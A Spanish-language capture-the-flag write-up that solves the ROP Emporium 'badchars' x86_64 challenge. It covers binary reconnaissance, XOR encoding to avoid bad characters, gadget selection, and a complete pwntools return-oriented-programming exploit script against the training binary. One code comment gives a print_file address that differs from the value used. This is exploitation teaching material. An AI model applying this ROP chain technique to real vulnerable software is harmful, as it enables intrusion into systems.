Badchars ROP Emporium (x86_64)

naibu3 · August 21, 2024

Este es otro post de la serie de writeups de ROP Emporium. Con esta serie de posts aprenderemos sobre una de las técnicas más utilizadas en la explotación de binarios, la ROP, ó Return Orineted Programming (Programación orientada a return).

Concretamente en este reto, lidiaremos con carácteres que el programa no interpreta correctamente.

x86_64 (Intended)

Reconocimiento

Como siempre comenzamos lanzando checksec:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
RUNPATH:  b'.'

Según el enunciado, el reto es igual al anterior. Pero, debemos lidiar con badchars, es decir, carácteres que el binario no puede interpretar correctamente.

Primero analizaremos con gdb-pwndbg:

0x00000000004004d8  _init
0x0000000000400500  pwnme@plt
0x0000000000400510  print_file@plt
0x0000000000400520  _start
0x0000000000400550  _dl_relocate_static_pie
0x0000000000400560  deregister_tm_clones
0x0000000000400590  register_tm_clones
0x00000000004005d0  __do_global_dtors_aux
0x0000000000400600  frame_dummy
0x0000000000400607  main
0x0000000000400617  usefulFunction
0x0000000000400628  usefulGadgets
0x0000000000400640  __libc_csu_init
0x00000000004006b0  __libc_csu_fini
0x00000000004006b4  _fini

Al ejecutar el binario nos lista los badchars:

[...]
badchars are: 'x', 'g', 'a', '.'

Nuestro problema es que necesitamos dichos carácteres para formar la cadena flag.txt. Para ello utilizaremos una técnica que consiste en aplicar un XOR al valor que introducimos y revertirlo mediante un gadget. Por ejemplo, si aplicamos un XOR a cada byte de flag.txt con un 2, obtenemos 646e63652c767a76, y si volvemos a aplicarlo, volvemos a tener flag.txt.

Para encontrar un valor con el que aplicar el XOR que no genere ningún badchar, podemos utilizar [[python]]:

badchars = [0x61, 0x67, 0x78, 0x2e]  
_string = "flag.txt"  
#Loop 0 to 255  
for i in xrange(255):  
    flag = True  
    # 8 loops, for 8 bytes we concat the result of the xor  
    new_string = "".join([chr(i^ord(_string[x])) for x in xrange(len(_string))])  
    #Now we loop through all 8 bytes of bad chars and if it's found in new string we ignore it  
    for b in badchars:  
        if chr(b) in new_string:  
            flag = False  
    #If we made it past the bad character check we print out the result and exit  
    if flag:  
        print "^"+str(i)  
        print new_string.encode('hex')  
        exit()

Con ropper podemos buscar gadgets excluyendo dichos badchars:

0x000000000040069c: pop r12; pop r13; pop r14; pop r15; ret;
0x0000000000400634: mov qword ptr [r13], r12; ret;
0x0000000000400628: xor byte ptr [r15], r14b; ret;
0x00000000004006a3: pop rdi; ret;

El gadget más importante es el que nos permite realizar un XOR al contenido de la dirección guardada en r15. Para ello, utilizaremos el mov qword ptr [r13], r12; ret; para guardar la cadena en una sección con permisos de R/W.

Por tanto, ambos, r13 y r15 apuntarán a dicha sección, r12 contendrá la cadena y r14 la clave para el XOR (0x02).

Además, debemos buscar una sección con permisos de lectura/escritura donde guardar los datos, lo haremos con radare2:

[0x00400520]> iS
[Sections]

nth paddr        size vaddr       vsize perm type        name
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000000    0x0 0x00000000    0x0 ---- NULL
1   0x00000238   0x1c 0x00400238   0x1c -r-- PROGBITS    .interp
2   0x00000254   0x20 0x00400254   0x20 -r-- NOTE        .note.ABI-tag
3   0x00000274   0x24 0x00400274   0x24 -r-- NOTE        .note.gnu.build-id
4   0x00000298   0x38 0x00400298   0x38 -r-- GNU_HASH    .gnu.hash
5   0x000002d0   0xf0 0x004002d0   0xf0 -r-- DYNSYM      .dynsym
6   0x000003c0   0x7e 0x004003c0   0x7e -r-- STRTAB      .dynstr
7   0x0000043e   0x14 0x0040043e   0x14 -r-- GNU_VERSYM  .gnu.version
8   0x00000458   0x20 0x00400458   0x20 -r-- GNU_VERNEED .gnu.version_r
9   0x00000478   0x30 0x00400478   0x30 -r-- RELA        .rela.dyn
10  0x000004a8   0x30 0x004004a8   0x30 -r-- RELA        .rela.plt
11  0x000004d8   0x17 0x004004d8   0x17 -r-x PROGBITS    .init
12  0x000004f0   0x30 0x004004f0   0x30 -r-x PROGBITS    .plt
13  0x00000520  0x192 0x00400520  0x192 -r-x PROGBITS    .text
14  0x000006b4    0x9 0x004006b4    0x9 -r-x PROGBITS    .fini
15  0x000006c0   0x10 0x004006c0   0x10 -r-- PROGBITS    .rodata
16  0x000006d0   0x44 0x004006d0   0x44 -r-- PROGBITS    .eh_frame_hdr
17  0x00000718  0x120 0x00400718  0x120 -r-- PROGBITS    .eh_frame
18  0x00000df0    0x8 0x00600df0    0x8 -rw- INIT_ARRAY  .init_array
19  0x00000df8    0x8 0x00600df8    0x8 -rw- FINI_ARRAY  .fini_array
20  0x00000e00  0x1f0 0x00600e00  0x1f0 -rw- DYNAMIC     .dynamic
21  0x00000ff0   0x10 0x00600ff0   0x10 -rw- PROGBITS    .got
22  0x00001000   0x28 0x00601000   0x28 -rw- PROGBITS    .got.plt
23  0x00001028   0x10 0x00601028   0x10 -rw- PROGBITS    .data
24  0x00001038    0x0 0x00601038    0x8 -rw- NOBITS      .bss
25  0x00001038   0x29 0x00000000   0x29 ---- PROGBITS    .comment
26  0x00001068  0x618 0x00000000  0x618 ---- SYMTAB      .symtab
27  0x00001680  0x1f8 0x00000000  0x1f8 ---- STRTAB      .strtab
28  0x00001878  0x103 0x00000000  0x103 ---- STRTAB      .shstrtab

Utilizaremos, al igual que en el ejercicio anterior, la sección .bss.

Explotación

El script será muy similar al anterior, pero deberemos aplicar el XOR a los datos:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *

# Set up pwntools for the correct architecture
context.arch = 'amd64'
context.bits = 64
exe = './badchars'

def start():
    
    return process(exe)

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

def xor2(str):
    res = ""
    for i in str:
        res += chr(int(hex(ord(i))[2::], 16) ^ 2)
    return res

io = start()

# DEBUG
#gdb.attach(io, '''
#    break *0x0000000000400628
#    continue
#''')

padding=40*b'A' #Same as previous

# 0x000000000040069c: pop r12; pop r13; pop r14; pop r15; ret;
pop_values = p64(0x000000000040069c)

xor_key = p64(0x2)

xored_flag = bytes(xor2("flag.txt"), 'utf-8')


rw_section = 0x00601030

# 0x0000000000400634: mov qword ptr [r13], r12; ret;
load_string = p64(0x0000000000400634)

# 0x00000000004006a0: pop r14; pop r15; ret; 
popr14_r15_ret = p64(0x00000000004006a0)

# 0x0000000000400628: xor byte ptr [r15], r14b; ret;
xor = p64(0x0000000000400628)


# 0x00000000004006a3: pop rdi; ret;
pop_rdi = p64(0x00000000004006a3)

# 0x0000000000400510  print_file@plt
print_file = p64(0x0000000000400620)

payload = padding + pop_values + xored_flag + p64(rw_section) + xor_key + p64(rw_section)
payload += load_string

# Iteramos los 8 bytes de la cadena
for i in range(8):
    payload += popr14_r15_ret
    payload += p64(2)
    payload += p64(rw_section + i)
    payload += xor

payload += pop_rdi + p64(rw_section) + print_file

io.send(payload)

io.interactive()

Y hasta aquí el writeup de este ejercicio. ¡Nos vemos en el siguiente post!

Twitter, Facebook